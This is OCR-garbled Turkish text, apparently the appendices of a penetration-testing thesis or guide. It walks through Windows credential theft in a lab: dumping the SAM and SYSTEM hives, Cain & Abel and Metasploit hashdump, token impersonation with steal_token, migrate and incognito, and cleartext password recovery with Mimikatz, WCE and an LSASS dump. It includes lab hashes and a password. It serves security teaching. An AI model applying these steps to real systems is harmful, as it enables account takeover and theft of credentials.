Yapilan bu iglemler sonucunda sekil A.45 iizerinde goriildiigii gibi ‘Pasword cleared!’

mesaj1 vermektedir ve dolayisiyla parola silinmigtir.

cleared!

> changed:

Write hive file (yin) [n]

SEKIL A.45: Parolanin Silinmesi

Son agamada ise hedef bilgisayarda ¢aligan tak caligtir (live cd) devre disi birakilarak

normal igletim sisteminden baglatilir. Yapilan iglemlerde gekil A.46 ve A.47 iizerinde
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goriildiigli gibi parolas: silinen ya da sifirlanan kullanici ile girig yapilir ve yerel kullani-

cilardan kontrol edilir.

,m,l'l.'

Administrator kerem

. Windows 7 Professional

SEKIL A.46: Hedef Bilgisayardaki Mevcut Kullanicilar

S S UTTIPULET VIdNdyErTienL
File Acticn View Help

e« | 1EXE HE

@ Computer Management (Lecal | Name F

‘ m )rstem Teol: [ Administrator
3 Task Scheduler
b 3 Event Viewer
I @] Shared Folders

4 @ Local Users and Groups
7] Users E'__Im
[ Groups B0 |

3 @ Performance
ﬂ Device Manager
a g Sterage
=¢ Disk Management

3 f‘# Services and Applications

SEKIL A.47: Hedef Bilgisayarin Local Users’daki Mevcut Kullanicilar:

Goriildiigii iizere parolasiz olarak sisteme girig yapilmigtir.



Ek B

SAM/SYSTEM ve Hesap
Ozetlerinin Elde Edilmesi

B.1 Yerel Yonetici Haklar: ile SAM ve SYSTEM Dosyala-

rinin Elde Edilmesi

Windows igletim sistemlerinde ‘SAM’ ve ‘SYSTEM’ dosyalar: iizerinden kimlik dogru-
lama yapildigindan dolay: kritik 6neme sahiptirler. Normalde gekil B.1 iizerinde goriil-

diigii gibi acik bir sistemde ‘SAM’ ve ‘SYSTEM’ dosyalarina erigim gerceklestirilemez.

[ [
@n\;‘)v| J « Local Disk (C:) » Windows » System32 » config » - ‘ £’| ‘ Search config £
Organize = | | Open Mew falder Bz = E:l i@'
By Name Date n1ct[|f|&tl Type Size
.+ Fav 5
Bl Desktop & | COMPOMNENTS 16.12.201511:12 File 30.208 KB
@ Downloads a | SYSTEM 16.12.2015 02:08 File 11.264 KB
15| Recent Places A | SOFTWARE 16.12.201502:04 File 23.552 KB
a | DEFAULT 16.12.2015 01:59 File 256 KB
- Libraries o | SECURITY 16122015 01:50 File 256 KB
3 Documents I a | SAM 16.12.2015[p1:46 File 256 KB
J’- Music 4 | BCD-Template = 15.01.2015 2113 File 28 KB
=) Pictures RegBack 1512.201513:13 File folder
E Videos s TxR 15.01.201511:14 File folder
r
/8 Computer MjUntltIEd-NntEpad | = H [=] | 24 |
File Edit Motepad v IEI

-

G‘ﬂ Network

The process cannot access the file because it is being used by ancther
l"\ process.

SEKIL B.1: Sistem Acikken Sam ve System Dosyalarinda Islem Yapilmas

108
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Ancak bununla birlikte kayit defteri {izerindeki ‘SAM’ ve ‘SYSTEM’ kayitlarina gercek
zamanda erigim saglanabilmektedir. ‘SAM’ dosyasin1 ‘C’ dizinine kaydetmek icin Win-
dows igletim sistemi komut satirindan ‘reg save HKLM/SAM C : /SAM ’ komutu
verilir. Aym Sekilde ‘SYSTEM’ dosyasini ‘C’ dizinine kaydetmek i¢in yine komut satirin-
dan ‘reg save HKLM/SYSTEM C : /SYSTEM’ komutu kullanilir. Yapilan iglemler

sekil B.2 iizerinde gosterilmigtir.

. BN Administrator: C\Windows!system32\ cmd.exe EI@

IC:“\Users \KXE>reg zave HKLM~SAM C::\SAM “ i~ il
The oneration comnleted zuccessfollu.
|-

IC:\Users“B¥K>reg save HKLM~SYSTEM C:“\SYSTEM
The operation completed successfully. = k8

m

C:\Users\XRXE> KB
C:sUsers KRR >dir o
Uolume in deive C has no lahel. KB
Uolume Serial Humber is 8481-232C iR

Directory of c:is KB

24 autoexec.bat KB
1@ confi
KB

SDIDN

28.672 SA
11.481.888 SYSTEM
TUTRY UTErY
H Windous
4 File<s> 794 hytes
4 Divdsd> 17.757.523_968 hytes free

C:\Users\XRED>

SEKIL B.2: Sam ve System Dosyalarinin Kaydedilmesi

B.2 Cain & Abel ile Yerel Hesaplara Ait Parola Ozetlerinin
Elde edilmesi

‘Cain & Abel” arac1 cahgtirildiktan sonra iistten 3. ara¢ ¢ubugunda bulunan ‘Cracker’
sekmesine tiklanilir. Sonra sol dikey panelden ‘LM&NTLM Hashes(0)” secenegine tikla-
mlir. Sonra 2. arac cubugunda bulunan art1 isareti ile acilan pencereden ‘import Hashes
from local system’ igaretli olacak gekilde ‘Next’ butonuna tiklanilir. Yapilan iglemler gekil

B.3 iizerinde gosterilmistir.
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—————
;IE

seenpg[Flv/kromeEenen 09

@; Decoders IMCH{. Iﬂa Sniffer I@/‘; Cracker I@ Traceroute IM ccoy |[(E|"] Wireless I&
B ame

Cracker ~ 4 [0 Dacoward | Ll
ﬂ LM & NTLM Ha:PI Add NT Hashes from

‘m MNTLMw2 Hashes (|
gl M5-Cache Hashe =
& PWL files (0}
T CiscoI05-MD5S H
- Jl Cisco PIX-MD5 Hi
P APOP-MDS Hashi |
..&¢ CRAM-MDS Hash
& OSPF-MD5 Hashe
4P RIPv2-MD5 Hashe
.4y VRRP-HMAC Has
R VNC3DES () -

= | &

R —

% Import Hashes from local spstem
[ Include Password History Hashes

" Import Hashes from a test file

" Import Hashes from a SAM database

‘ |

4 1 3

Cancel

L]
L]
L]

SEKIL B.3: Cain & Abel ile Caligan Sistemde Alanlarin Segilmesi

Yapilan iglem sonucunda mevcut calisan bir igletim sisteminden sekil B.4 {izerinde goriil-

diigii gibi ‘Cain & Abel’ araci ile parola zetleri elde edilmistir.

| e

File View Configure Tools Help
AR @BER +y B LVUBEEaOBER Q7 0
@ Decoders I§ Metwork Iﬂ'ﬂ Sniffer |@"’ Cracker |© Traceroute |M Cccpbu I[(E'f] Wireless I@) Query |

B
64

[ Cracker « | Yser Name | L1 Hach | NT Hash
~H LM & NTLM Hast X Administrator AAD3B435B51404EEAAD3B435B51404EE  BIEOCFCEARSDOTT970306 A2FDE8ATCOA
-G NTLM2 Hashes (| =| |5 Guest AAD3B435E51404EEAAD3E435B51404EE  31D6CFEODLGAEI31BT3C50DTEOCOSECO
R MS-Cache Hashe| | | 3 kerem AAD3B435E51404EEAAD3B435B51404EE  E735DBD188563C0420F3275EB6205551
g% PWLfiles (0) X Sehir AAD3B435B51404EEAAD3B4I5BSI404EE  47BFB039AB506C D67 C524A0IFFE4BALE
M CiscoI05-MDSH | X Sizma AAD3B435B51404EEAAD3B435B51404EE  03119312E491C990A3143A5A5B4FEIDA
Ml Cisco PI-MDS Hi | 9K #x AAD3B435B51404EEAAD3B435B51404EE  3B1DA22B1973C0BBAGD4AIBGATAEGSFS
&b APOP-MDS Hashi
& CRAM-MDS Hash
.4 OSPF-MDS5 Hashe
—#f RIPv2-MDS5 Hashe Fl 1
£ b VRRP-HMAC Hos ™ [ Lv & NTLM Hashes

http:/fwww. oxid.it

SEKIL B.4: Cain & Abel ile Cahsan Sistemde Hesap Ozetlerinin Elde Edilmesi

B.3 Hashdump Modiilii ile Parola Ozetlerinin Elde Edilmesi

Once mevcut durumdaki kullanici kimligi ve proses ID degerine bakilir. Ciinkii sistem

haklarinda olmasi gerekmektedir. Yapilan iglem gekil B.5 iizerinde gosterilmistir.

SEKIL B.5: Yetki Durumu
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‘Meterpreter’ iizerinde caligma devam ettiginden background komutunu verilerek arka
planda ‘Meterpreter’ oturumu kapatmadan beklemeye alinir. Bu oturumu daha sonra
caligtirmak {izere Set SESSION <oturum numarasi> komutu ile set edilir. Caligilan 7.
oturum oldugundan Set SESSION 7 komutu verilir. ‘Hashdump’ exploitini ¢aligtirmak
i¢in ise use post/Windows/gather/hasdump komutu verilir. Yapilan son ayarlar1 kontrol

etmek icin sekil B.6 iizerinde goriildiigii gibi ‘show options’ komutu verilir.

on to run this me

SEKIL B.6: Hashdump Post Modiilii Ayarlarimin Yapilmas:

Son agama olarak ‘Meterpreter’ oturumunda parola 6zetlerini gérmek icin gekil B.7 {ize-

rinde goriildiigii gibi ‘run’ veya ‘exploit’ komutu verilir.

religh

[*] Dumping pa

SEKIL B.7: Hashdump Post Modiiliiniin Caligtirilmasi

B.4 Hashdump Modiilii ile Yerel Hesap Bilgileri Ozetlerinin
Elde Edilmesi

2.7 ve 2.9 konularinda anlatildig iizere gerekli yetkiler elde edildikten sonra exploit edi-
lerek ‘Meterpreter’ baglantisi elde edilir. Bu iglemden sonra gekil B.8 iizerinde goriildiigii

gibi ‘hashdump’ komutu ¢aligtirilarak diger yerel kullanicilarin parola 6zetleri elde edilir.
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SeKIL B.8: Hashdump Modiilii ile Hesap Ozetlerinin Alinmas

Not: ‘Meterpreter’ ‘hashdump’ komutu kullamilarak ‘Lsass proses’ine komut enjekte edil-
diginden isletim sisteminin kararliligi olumsuz etkilenip sistemin bozulmasina sebep ola-

bilmektedir.

B.5 Smart Hashdump Modiili ile Etki Alam Uzerindeki
Hesap Ozetlerini Elde Etme

EK B.4 konusunda anlatilan ‘hashdump’ post modiiliiniin ¢aligtig1 sistem yetkilerine

sahip proses ile cahigilacaktir. Aksi halde sonug¢ alinamayacaktir.

‘Smart _hashdump’ exploitini gahgtirmak icin ‘use post/Windows/gather
/smart__hasdump’ komutu verilir. ‘Meterpreter’da beklemeye alman 7. oturumu ‘set
SESSION 7’ komutu ile set edilerek ¢alistirilacaktir. Son ayarlarin kontrolii i¢in sekil B.9

iizerinde goriildiigii gibi ‘show options’ komutu verilir.

n the target host.

SEKIL B.9: Smart _Hashdump Post Modiilii Ayarlarinin Yapilmasi

Ayarlarin siirekli kontrol edilmesi 6nemlidir. Ciinkii olasi bir aksaklik uzun bir siire ug-
ragi gerektirecektir. Bu yiizden her adim kontrol edilmelidir. Ayarlar kontrol edilir ve
son olarak gekil B.10 {izerinde goriildiigii gibi run veya exploit komutu ile ‘Meterpreter’

caligtirilir.
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= [run

SEKIL B.10: Smart Hashdump Post Modiiliiniin Caligtirilmas:

Eger bu oturumlarda etki alani ile baglanan kullanici olmug olsaydi smart hashdump
post modiilii o hesaplara ait parola 6zetlerinin alinmasini saglayacakti. Ancak hashdump

modiili bu iglemi gerceklestirememektedir.



Ek C

RAM Uzerinde Kayitli Jetonlar
Elde Etme

C.1 Steal Token Modiilii ile Bagka Bir Hesabin Kimligine

Buriunme

Sekil C.1 iizerinde goriildiigii gibi Merhaba.tzt adli dosyanin sahipligi ve erigime izinli

olarak mesut kullanicis1 varsayilmigtir.

|[Merhaba Properties . Advanced Security Settings for Merhaba

| General | Securty | Details I Previous Versions

Pemissions I Audting | Qnwner | Effective Pemmissions

Object name:  C\Users'mesut’ Desktop Mer|

You can take or assign ownership of this object if you have the required permissions or privileg

Object name: C:\Users'mesut® DesktopMerhaba bd

Cument owner:

Change ownerto:
To change pemissions, click Edit.

Name
Pemissions for mesut Allo 82, Administrators (Sehir PC Administrators)
Full control 7 b, mesut (Sehir-PCimesut)
Modify V|
Read & execute vy
Read V|
Write V|

Special pemissions

For special pemissions or advanced ssttings,

click Advanced.

[

SEKIL C.1: Merhaba.txt Dosyasinin Sahip Oldugu Yetki Kontroli

114
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Merhaba.tzt dosyasinin erigim izni sadece mesut kullanicisinda oldugu i¢in bu dosyaya
ulagabilmek ancak mesut kullanicisinin kimligine biiriinmekle gergeklesebilir. 2.2 konu-
sunun alt bagliklarinda anlatildigr ve uygulandig: {izere hesaplar ele gecirilmigti. Ayni
sekilde devam edilerek kullanicinin galigtigi ‘PID’ numarasina bakilir. Sekil C.2 iizerinde

goriildiigii gibi proses ait ‘ID 280’dir.

@ M B

SEKIL C.2: Prosesin Ilk Bagta Sahip Oldugu Yetki Kontrolii

Yine ayn1 gekilde 2.2 konusunda iglendigi ve sekil B.7 iizerinde goriildiigii gibi ‘SYSTEM’
haklar: ile ‘hashdump’ post modiiliiniin ¢aligtirilabildigi ve yerel hesaplara ait parola

Ozetlerinin elde edilebildigini goriilmiigtii.

Bu durum goz o6niinde bulundurularak sistem hesabinin Merhaba.tzt dosyasinin iizerinde
okuma hakkinin olup olmadigi kontrol edilir. ‘Meterpreter’de iken ‘shell’ komutu ile sis-
temin komut dosyasina (cmd.exe) girilir. Burada hangi hesapla oturum agildigini kontrol
etmek i¢in ‘whoami’ komutu verilir. Sonra ‘cd C' : /Users/mesut/Desktop’ komutu ile
dosyanin bulundugu masaiistiine gidilir. Sekil C.3 {izerinde goriildiigii gibi ‘type Mer-
haba.txt’ komutu ile dosya okunmak istendiginde okuma hakk: olmadigindan herhangi

bir iglem yapilamamaktadir.

SEKIL C.3: Merhaba.txt Dosyasini Okuma Yetkisi Kontrolii
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Hedef bilgisayar olan mesut kullanicisimin bilgisayarinda iken prosesleri Meterpreter’da
‘ps —U Sehir-PC’ komutu ile goriilebilir. mesut kullancisina ait bu proseslerden uygun
olan birisinin kimligine biiriinmek i¢in ‘steal token 1528’ (burada 1528 ilgili prosese ait
PID numarasidir) segilir. ‘getuid’ komutu ile ‘Sehir-PC mesut’ geklindeki bir sonucla
mesut kullanicis1 oldugu goriiliir. Ancak ‘getpid’ komutu ¢ahgtirildiginda ise ID numa-
rasinin 280 oldugu yani degismedigi sekil C.4 {izerinde gdsterilmigtir. Dolayisiyla sadece
yetki devrinin gergeklestigi, kapsam olarak mesut kullanicisimin kimligine biirtiniildiigi

anlagilir.

SEKIL C.4: Hedef Bilgisayarda Calisan Proses Kontrolii ve Steal Token Caligtirilmas:

Mesut kullanicisinin kimligine biirtinmiig olarak ‘hashdump’ komutu ¢aligtirildiginda pa-

rola ozetlerinin elde edilemeyecegi gsekil C.5 iizerinde gosterilmistir.

SEKIL C.5: Hashdump Post Modiiliiniin Caligtirilmasi

Yapilan bu iglemlerden sonra mesut kullanicisi kimliginin yetkisi ile Merhaba.tzt dosya-
sina ulagilacaktir. Bunun ig¢in ‘shell’ komutu ile hedef sistemin komut sistemine girilir.
Hangi hesapla oturum acildigini kontrol etmek i¢in ‘whoami’ komutu girilir. Sonra ‘cd
C : /Users/mesut/Desktop’ komutu ile dosyanin bulundugu masaiistiine gidilir. Sekil
C.6 lizerinde gorildiigii gibi ‘type Merhaba.txt” komutu ile dosya okunmak istendiginde

herhangi bir sorun yaganmadan dosya okunur.
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ration. All rights rese

ype Merhaba.txt

SEKIL C.6: Steal Token ile Kimlige Biiriinme Islemlerinden Sonra Merhaba.txt Dos-
yasmi Okuma Yetkisi Kontroli

Biiriiniilen kimlikten ¢ikmak icin 6nce ‘exit’ komutu verilerek ‘cmd’ satirindan ‘Meterpre-
ter’e gecilir. Burada ‘rev2self’ komutu verildiginde ilk kimlik yetkilerine geri doniilecektir.

Yapilan iglemler gekil C.7 iizerinde gosterilmigtir.

SEKIL C.7: Cikig ve Proses Yetki Kontroli

C.2 Migrate Modiilii ile Bagka Bir Hesabin Kimligine Bii-

rinme

Sekil C.1 iizerinde goriildiigii gibi Merhaba.tzt adli dosyanin sahipligi ve erigime izinli

olarak mesut kullanicis1 varsayilmigtir.

Kullanilan proses yetkilerinin kontrolii bir énceki C.1 konusunda izah edildigi ve sekil

C.2 iizerinde goriildiigii gibidir.

Yine aym sekilde 2.2 konusunun altbagliklarinda iglendigi ve gekil B.7 iizerinde goriil-
diigii gibi ‘SYSTEM’ haklar1 ile ‘Metasploit’ aracina ait ‘hashdump’ post modiiliiniin

caligtirilabildigi ve yerel hesaplara ait parola dzetlerinin elde edilebildigi anlatilmigti.

Bu durum goz 6niine alinarak gekil C.3 {izerindeki gibi Merhaba.txt dosyasinda okuma

izni olmadig goriilmektedir.
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Burada ise 6nce ‘ps’ komutu ile sistemmde ¢aligan prosesler listelenir. Sonra mesut kulla-
nicisinin haklarina sahip uygun bir proses secilir. Bu iglem gekil C.8 iizerinde goriildigi

gibi ‘migrate 2844’ (2844 prosese ait PID)komutu ile ‘explorer.exe’ prosesine sigranilir.

SEKIL C.8: Migrate Komutu ile Prosese Sigrama

Bir 6nceki C.1 konusunda anlatildig: iizere mesut kullanicisinin kimligine biiriinmiig iken
‘hashdump’ komutu verildiginde parola 6zetlerinin elde edilemeyecegi goriilmektedir. Ya-

pilan iglemler gekil C.5 {izerinde gosterilmigtir.

Sonug olarak mesut kullanicist kimliginin yetkisi ile Merhaba.tzt dosyasina ulagilacaktir.

Sekil C.9 tizerinde goriildiigii gibi dosyaya ulagildi ve okundu.

ALl rights rese

SEKIL C.9: Migrate ile Kimlige Biiriinme Islemlerinden Sonra Merhaba.txt Dosyasim
Okuma Yetkisi Kontrolii

C.3 incognito Modiilii ile Bagka Bir Hesabin Kimligine Bii-

rinme
Sekil C.1 {izerinde gorilldigi gibi Merhaba.trt adli dosyanin sahipligi ve erigime izinli
olarak mesut kullanicis1 varsayilmistir.

Isletim sisteminde kullanilan proses yetkilerinin kontrolii bir 6nceki C.1 konusunda izah

edildigi ve gekil C.2 iizerinde goriildiigii gibidir.
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Yine aym gekilde 2.2 konusunda iglendigi ve sekil B.7 {izerindeki gibi ‘SYSTEM’ haklar:
ile ‘hashdump’ post modiiliiniin ¢aligtirilabildigi ve yerel hesaplara ait parola 6zetlerinin

elde edilebildigi uygulamali olarak iglenmisti.

Bu durumda bir 6nceki C.1 konusunda anlatildigy tizere Merhaba.trt dosyasinda okuma

izni olmadigy goriilmektedir. Yapilan iglem gekil C.3 iizerinde gosterilmigtir.

Hedef bilgisayar olan mesut kullanicisinin bilgisayarinda iken proses Meterpreter’da ‘ps
—U Sehir-PC’ komutu ile goriilebilir. ‘load incognito’ komutu ile ‘incognito’ eklentisini

baglatilir. Yapilan iglem gekil C.10 {izerinde gosterilmigtir.

SEKIL C.10: Proses Yetki Kontrolleri ve Incognito Eklentisini Baglatma

‘Help’” komutu ile hangi komutun ne ige yaradig: goriilebilir. Mesut hesabindaki tokenlar:
listelemek icin ‘list _tokens -u’ komutu verilir. ‘Sehir-PC mesut’ token’1 oldugu sekil C.11

iizerinde goriilmektedir.



EK-C RAM Uzerinde Kayitl Jetonlar, Elde Etme 120

SEKIL C.11: Token’lar1 Listeleme

Yiiklenen ‘incognito’ eklentisi ile listelenen mesut kullanicisina ait token ile ‘imperso-
nate_token Sehir-PC mesut’ komutu ile token verisi ele gegirilebilir. Sonra ‘getuid’ ko-
mutu ile kontrol edildiginde mesut kullanicisi hala aym ‘PID’ numarasina sahip oldugu
goriiliir. Dolayisiyla sadece yetki devri gerceklegsmigtir. ‘Meterpreter’da ‘ps —U Sehir-
PC’ komutu ile Sehir-PC’deki kullanicilar listelenir. Sekil C.12 iizerinde ki gibi ‘getpid’

komutu ile kontrol edildiginde prosesin degigsmedigi goriiliir.

PID  PPID

SEKIL C.12: Token Verisini Elde Etme

Mesut kimligine biiriinmiig durumunda iken ‘hashdump’ komutunu verildiginde parola

Ozetlerinin elde edilemeyecegi sekil C.13 {izerinde goriilmektedir.
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't (hint: mid

SEKIL C.13: System Yetkisi Sonras1t Hashdump Post Modiiliiniin Kontrolii

Asil hedef olan mesut kullanicisi kimliginin yetkisi ile Merhaba.tzt dosyasina ulagmakti.

Sekil C.14 iizerinde goriildiigii gibi dosya okundu ve hedefe ulagildi.

Merhaba.txt

Merhaba.txt

SEKIL C.14: Proses Yetki Kontrolleri ve Incognito Eklentisini Baglatma
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Uzerindeki Kayitli Parolalar: Elde
Etme

D.1 Mimikatz Araci ile RAM Uzerindeki Parolanin Acik
Halde Elde Edilmesi

‘Mimikatz’ aracinin son siiriimii http://blog.gentilkiwi.com/mimikatz linkinden in-
dirilebilir. Ele gecirilmig bir Windows sistem iizerinde araci baglatmak icin ‘cmd.exe’
adman yetkisi ile baglatilmalidir. Bulundugu klasére ‘cd” komutu ile girip, igletim sistemi
64 bit ise veya 32 bit ise ona gore siirlimii ¢aligtirilir. Yapilan iglemler sekil D.1 {izerinde
gosterilmigtir.

IC:“\Userssmesut>cd Desktop™AraclarsMimikatz“Win32

[C:“UserssmesutsDesktop~Araclar Mimikatz"Win32>dir
Uolume in drive C has no label.
Uolume Serial Number is BCBF-C14B

Directory of C:sUsers‘mesut~Desktop“AraclarsMimikatz~Win32

.2815 =48 <DIR> -
.2815 =48 <DIR> -
.2814 =58 29.568 mimidrv.sys
.2814 =58 198.144 mimikatz.exe
.2814 =58 21.5684 mimilib.d11

3 File<s> 216 hytes

249 .
2 Divds> 17.544.882.384 bytes free

C:“\UserssmesutsDesktop~AraclarsMimikatz"Win32Xmimikatz.exe
s e s 38 mimikatz 2.8 alpha (x86)> release "Kiwi en C" (Dec 13 2814 19:48:168>
- g
i3 BN & B
o~ s Benjamin DELPY ‘gentilkiwi® ¢ penjamin@gentilkiwi.cum bl

THE v H http:/sblog.gentilkivi.com/mimikat= {oe.eod
i 2is with 15 modules = = =/

mimikatz # _

SEKIL D.1: Mimikatz Aracinin Calistirilmasi

122


http://blog.gentilkiwi.com/mimikatz
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Parolalart agik halde elde edebilmek igin ‘sekurlsa::logonPasswords all’ komutu verilir.

Sekil D.2 iizerinde goriildiigii gibi kullanici adi ve parola elde edildi.

mimikatz # sekurls

futhentication Id :
Bession
llser NHame
Domain
SID

nsy =
[BB006003 1
* llsernane
* Domain
= LM

= NTLM

» CHOA
tspky |:

= Usernane

logonPasswords all

@ ; 3808%43 (POOPOOOO: A0A5J00f >

: Interactive from

i mesut

: Sehir-PC

: 5-1-5-21-3687518117-722887369-3280039823-10801

Primary

:mesut

: | Sehir-PC
:|624aac413795cdelaadih435h5i484ee
:|3bida22b1973cAhh86d4athbataebsfb

2 196234he5hf1f317e217afBi4a93fc67a51hd6h3h

: |mesut
: |Sehir—PC

d = |Test123

: mesut
: | Sehir—PC
: | Test123

:Imesut
: | Sehir—PC
: | Test123

= @ ; 997 (HABBOOAA: 0000035 )
: Service from @

= LOCAL SERVICE

: NT AUTHORITY

: §-1-5-1%9

tspky :
wdigest =
* lzem

kerher

* llsernane

* Domain

= (null)
= (null)
= (null>

(null)

wie hilaria Dlaver

SEKIL D.2: Mimikatz Araci ile Agik Parola Elde Edilmesi

Islem sonrasi ‘Mimikatz’ aracindan cikmak icin sekil D.3 {izerinde goriildiigii gibi exit

komutu verilir.

mimikatz # exit
1

Bye?

C:sUsersmesut Desktop~Araclar Mimikatz"Win32>_

SEKIL D.3: Mimikatz Aracindan Cikis Yapilmasi

Elde Edilmesi

WCE Araci ile RAM Uzerindeki Parolanin Acik Halde

Windows igletim sistemi kimlik dogrulama paketlerindeki kullanici bilgilerini RAM {ize-

rinde tutmaktadir. ‘WCE’ araci ise bu bilgileri ram {izerinden okumaktadir. Eger kimlik

bilgileri gifreli ise gifreleme anahtarina ulagarak kimlik bilgilerinin gifresini ¢ozer.

‘WCE’ aracinin son stirimii http://www.ampliasecurity.com/research/wcefaq.html

linkinden indirilebilir.


http://www.ampliasecurity.com/research/wcefaq.html
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Ele gecirilmis Windows sistemi iizerinde araci baglatmak igin ‘cind.exe’ admin yetkisi ile
baglatilir. Bulundugu klasére ‘cd’ komutu ile girip, isletim sistemi 64 bit ise veya 32 bit

ise ona gore siirtimii ¢aligtirilir. Yapilan iglemler gekil D.4 iizerinde gosterilmigtir.

CisUsersimnesutiDesktop™Araclar s UWCENwce_wvl_42Zbeta_ x32>dir
Uolume in drive C_ has wo label,
Uolume Serial NHumber is 0CBF-Ci4B

of CidUsershmesutiDesktop™fAraclarsWCENwce_ wl_42beta_x32

o
-
5
1
o
&
o
5
€

b bR
aleple=pleyl i)
BIRRIBIMRIR
fefololololalo]
[
LT TRt

22
221
i15:
15:
15:
15

i15:

4
4
3
3
i3
i3
i3
5
2
)
u
=

.
Ry
FmIBRUNTD

sut\Desktop™Araglar UC .

ta (Windows Cre dentlals TR == 2 ia Security - by
hoa {1 rnanfPampliasecurity

help .

mesut!Sehir-PC:1624AAC413795CDC1AAD3E4A35ES1404EE ( 3BEI1DAZ2B1973COBEE6DAAPBOAPAESSFE

Fi 1 (
Di
=
v

rsihme
.42he
Och

fo

CisUsersimnesutiDesktop Araclars\WCENwoce_wvl_42Zbeta_x32>_

SEKIL D.4: WCE Aracinin Caligtirilmasi

Sekil D.5 {izerinde goriildiigii gibi parolanin agik halini elde edebilmek icin ‘-w’ paramet-

resini vererek Enter’a basilir.

CislUsersimesu

WCE wvi.dZheta

Hernan Ochoa
-h for he

AZesktop™AraclarsWg = luwce -—w . .
fU1nduws Credential U=2vl3 Amplia Zecurituy - by
he

1t
{ rnanfampliasecuri

mesuti\Sehir-FC:T _3123
-PCENUWOD

SEHIR REGR
CivUsersimesutiDesktopMAraclarsUWCENuce_ vl _42beta »x32>_

SEKIL D.5: WCE Arac ile Agik Parola Elde Edilmesi

D.3 Lsass Prosesine Ait Dump Dosyasindan Mimikatz Araci

ile Parolalarin Elde Edilmesi

Ele gecirilmig bir Windows sistem iizerinde gorev yoneticisi (task manager) ¢aligtirilir.
‘Processes’ lere tiklanip ‘lIsass.exe’ bulunur. ‘Lsass.exe’ bulunduktan sonra sekil D.6 {ize-

rinde goriildiigii gibi sag tiklayip ‘Create Dump File’ secilir.
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"= Windows Task Manager EI@
File Options View Help
Applications | Processes |5Er\ricas | Performance I Metworking IUsErs |
=

Image Name User Mame CPU  Memory (... Description  *
CSrEs.EXE SYSTEM oo 684K ClientSer...
CSrss.exe SYSTEM 02 336K ClientSer...
dwm.exe mesut s} 856K Desktop ...
explorer.exe mesut [} 24.604K  Windows ... |&
: |sass.exe | 200EK Lacg| Sec,,,
lsm. exe Open File Location = Ses, .,
SearchIndexe.., rosoft ...

. End Process . w
services.exe vices ...
smss.exe End Process Tree dows ...
spoolsv.exe Debug oler:...
spsvE.Exe UAC Virtualization josort
svchost.exe &t Proc...
svchost.exe Create Du 5t Proc...
svchost.exe Set Priori N 5tProc..
svchost.exe riority ELProc.. =

Show processe Properties Ed Process
Go to Service(s)
Processes: 20 CPU Usage: 97% Physical Memory: 245

SEKIL D.6: Lsass Prosesinden Dump Alma Iglemi

Sekil D.7 tizerinde goriildiigii gibi bilgisayarin uzun siire agik kalmasi veya RAM kapasi-

tesinin yiiksek olmasi gibi sebepler dump almay:1 uzatabilir.

-

1% Windows Task Manager EI@
File Options View Help
Applications | Processes ‘Services I Performance I Metworking I Users |
=

Image Name User Mame CPU  Memory (.. Description =
CSMS5.EXE SYSTEM 00 684K Client Ser | |
CErES.ERY Dumping Process @
dwm, exe|
explorer, I Flease wait while the process is written to the file I
lsass.exs
Searchln
servic
SMSS.EXE SYSTEM [} 120K Windows ...
spoolsv.exe SYSTEM s} 1,330K  Spooler 5...
SDOSYC EXE METWQ... 00 1116k Microsoft ...
sychost.exe SYSTEM oo 1.716K HostProc...
svchost.exe MNETWO... 00 2.080K HostProc...
svchost.exe LOCAL ... 00 5.408K HostProc...
svchost.exe SYSTEM 0o 18.936 K HostProc... -

Show processes from all users

Processes: 30 CPU Usage: 100% Physical Memory: 25%

SEKIL D.7: Dump Alma Islem Siiresi

Dump alma iglemi bittiginde, ‘The file has been successfully’ mesaji Dumyp alma igleminin
basar ile bittigini gosterir ve ¢ : /Users/mesut/AppData/Local/Temp/lsass.DM P

isminde ilgili yere attigini gekil D.8 {izerinde goriildiigii gibi bildirir.



EK-D Uzerindeki Kayitls Parolalary Elde Etme

126

;-,WindowsTaskManager
File Options View Help

[==re=]

Applications | Processes ‘Services I Performance I Metworking I Users |

Image I‘Iame User Mame CPU Memory (... Description  *

CSMES.EXE, SYSTEM 00 684K Client Ser | |

CE155-29 Dumping Process IEI

dwm, exe|

explorer.|  The file has been successfully created.

Isass.exg

lsm.exe The file is located at: =

SearchIn -

services.,

smss.exg

spoalsy.q

sppsvc,

svchost.exe SYSTEM [} 1.692K HostProc...

svchost.exe METWO... 00 2.080K  HostProc...

svchost.exe LOCAL ... oo 5.396K HostProc...

sychost.exe SYSTEM oo 18.936K HostProc... =
Show processes from all users

Processes: 30 CPU Usage: 3%

Physical Memory: 24%

SEKIL D.8: Lsass Prosesinden Dump Alma Isleminin Sonu¢lanmas:

Sekil D.9 {izerinde goriildiigii gibi ‘Lsass. DMP’ dump dosyasini ‘Mimikatz’ aracinin bu-

lundugu klasore taginilir veya ilgili dizin gosterilir.

Users » mesut » AppData » Local » Temp » - ‘ %'v,| ‘ Se
| | Open Share with + New folder
Name : Date modified
. Low bEZ.lZ.ZGlE 12:29
H J WPDNSE 22.12.201512:30
ces | FXSAPIDebuglegFile 2212.201512:30
1I] ] 1sass.omP 22.12,2015 23:11
|| mesut 2212.201512:29
=] wmsetup 2212.201512:29

SEKIL D.9: Dump Dosyasinin Bulundugu Klasor

‘Mimikatz’ aracini baglatmak igin c¢md.exe ‘admin’ yetkisi ile baglatilir. Bulundugu kla-

sore ‘cd’ komutu ile girip, igletim sistemi 64 bit ise veya 32 bit ise ona gore siiriimii

caligtirihr. Yapilan iglem gekil D.1 {izerinde gosterilmigtir.

Ya da ‘SYSTEM’ yetkisi ile acilmig cmd.exe’ye direkt ‘Mimikatz.exe’ yazilarak caligti-

rildiktan sonra ‘sekurlsa::minidump lsass.dmp’ ve ‘sekurlsa::wdigest’ exit komutu verilir.

Sekil D.10 ve D.11 iizerinde goriildiigii gibi oturum ac¢mig bulunan kullanicilarin agik

halde parolalar: elde edildi.



EK-D Uzerindeki Kayitls Parolalary Elde Etme 127

CasllsepssmestityllesktonsAraclarsMinjkatz Win32imimikatz..exe "“sekurlsat:iminidump 1
lsass .dmp" “sekurlsa::wdigest" exit

mimikatz 2.8 alpha (x86> release "Kiwi en C" <(Dec 13 26014 19:

oo o=

Benjamin DELPY ‘gentilkiwi® ¢ henjaminPgentilkiwi.com >

http:/~blog.gentilkivi.con/mimikat= {oe.eol
with 15 modules = = %~

katz{commandline?> # sekurlsa::minidump lsass.dmp
[Switch to MINIDUMP : 'lsass.dmp’

mimikatzC(commandline?} # sekurlsa digest
jOpening : ’'lsass.dmp’ file for minidump

B ; 2118745 (BDEBRROO:AE205459 >

Interactive from

burak
LSehiv—PC
